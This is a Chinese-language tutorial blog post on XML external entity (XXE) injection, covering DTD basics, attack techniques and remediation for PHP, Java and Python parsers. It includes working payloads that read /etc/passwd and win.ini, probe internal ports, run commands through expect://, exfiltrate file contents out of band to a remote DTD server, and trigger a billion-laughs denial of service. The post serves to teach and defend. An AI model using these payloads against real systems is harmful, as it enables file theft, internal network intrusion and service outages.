当前位置:   article > 正文

【Web漏洞探索】外部实体注入漏洞_ptyhon xml外部实体注入 修复

ptyhon xml外部实体注入 修复

请添加图片描述

一、什么是外部实体注入漏洞

外部实体注入漏洞XXE(XML External Entity Injection)也就是XML外部实体注入,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml库,而libxml 2.9以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持file://ftp://等协议,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

二、外部实体注入漏洞成因

XML文档结构包括XML声明、DTD(Document Type Definition,即文档类型定义、文档元素)。DTD用来为XML文档定义语义约束。DTD可以嵌在XML文档内声明(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。

内部实体声明

DTD内部声明:<!DOCTYPE 根元素 [实体声明]>
DTD内部实体声明:<!ENTITY 实体名称 “实体的值">

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe "xee vuln">]>
<foo>&xxe;</foo>
  • 1
  • 2
  • 3
  • 4
外部实体声明

DTD外部引用:<!DOCTYPE 根元素名称 SYSTEM “外部DTD的URL">
DTD外部实体声明:<!ENTITY 实体名称 SYSTEM “URI/URL">

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://www.xxetest.com/entities.dtd">]>
<reset>
    <foo>&xxe;</foo>
</reset>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
<?xml version="1.0"?>
<!DOCTYPE foo [   
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
  • 1
  • 2
  • 3
  • 4
参数实体声明

<!ENTITY % 实体名称 "实体的值">
<!ENTITY % 实体名称 SYSTEM "URI/URL">

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [

<!ENTITY % body SYSTEM "http://www.xxetest.com/entities.dtd" >
<!ENTITY xxe "%body;">]>
<reset>
    <secret>login</secret>
</reset>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

三、漏洞攻击利用手法

有回显
DTD外部实体声明

直接通过DTD外部实体声明

<?xml version="1.0"?>
<!DOCTYPE foo[
    <!ENTITY test SYSTEM "file:///etc/passwd">
]>
<foo>&test;</foo>
  • 1
  • 2
  • 3
  • 4
  • 5
DTD实体声明

通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY test SYSTEM "http://test.com/evil.dtd">]>
<foo>&test;</foo>

//而http://test.com/evil.dtd内容为
<!ENTITY test SYSTEM "file:///etc/passwd">
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
DTD参数声明

通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明

<?xml version="1.0"?>
<!DOCTYPE foo [    
<!ENTITY %test SYSTEM "http://test.com/evil.dtd">]>
<foo>%test;</foo>

// http://test.com/evil.dtd文件内容
<!ENTITY test SYSTEM "file:///etc/passwd">
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
内网端口扫描

我们也可以使用http URI并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF(服务器端请求伪造)。

<?xml version="1.0"?>
<!DOCTYPE GVI [
    <!ENTITY foo SYSTEM "http://127.0.0.1:80" >
]>
  • 1
  • 2
  • 3
  • 4
远程代码执行

有些情况下能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行命令

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root id="test">
<foo>&xxe;</foo>
</root>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
读取任意文件
<!ENTITY name SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
  • 1
无回显
Out-of Band检测

对于无回显的XXE,我们需要构建一条带外数据(Out-of Band,OOB)通道来读取数据。思路是:

  1. 攻击者先发送payload1给Web服务器
  2. payload1触发Web服务器,Web服务器向VPS获取恶意DTD,并执行payload2
  3. payload2使Web服务器把结果作为参数来访问VPS上的HTTP服务
  4. 攻击者通过VPS的HTTP访问记录得到结果
利用DNSLog检测
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://192.168.110.1:8888/evil.xml">
%remote;
%all;
%send;
]>
<root>&name;</root>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
// evil.xml

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.110.1:8888/1.php?file=%file;'>">

  • 1
  • 2
  • 3
  • 4

同样的也可以进行FTP协议的外带回显

拒绝服务

利用定义实体参数变量,重复引用进行指数级增长,导致解析异常。

<?xml version="1.0"?>
<!DOCTYPE foo [
 <!ENTITY lol "lol">
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<foo>&lol9;</foo>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

四、修复以及预防

禁用外部实体的方法

使用开发语言提供的禁用外部实体的方法。

PHP:
libxml_disable_entity_loader(true);
     
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
     
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
过滤用户的输入

过滤用户提交的XML数据,参考关键词:<!DOCTYPE<!ENTITY或者SYSTEMPUBLIC

禁用自定义的DTD

不允许XML中含有自己定义的DTD。

五、附录

参考链接:
https://mp.weixin.qq.com/s/scFsOJsKL2Jxx3hsQVfEdw
https://mp.weixin.qq.com/s/3CAnOr38wCrWB1-UJYZ5aQ
https://mp.weixin.qq.com/s/-c0853Vbydmngzch7_aHkg

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/612773
推荐阅读
相关标签
  

闽ICP备14008679号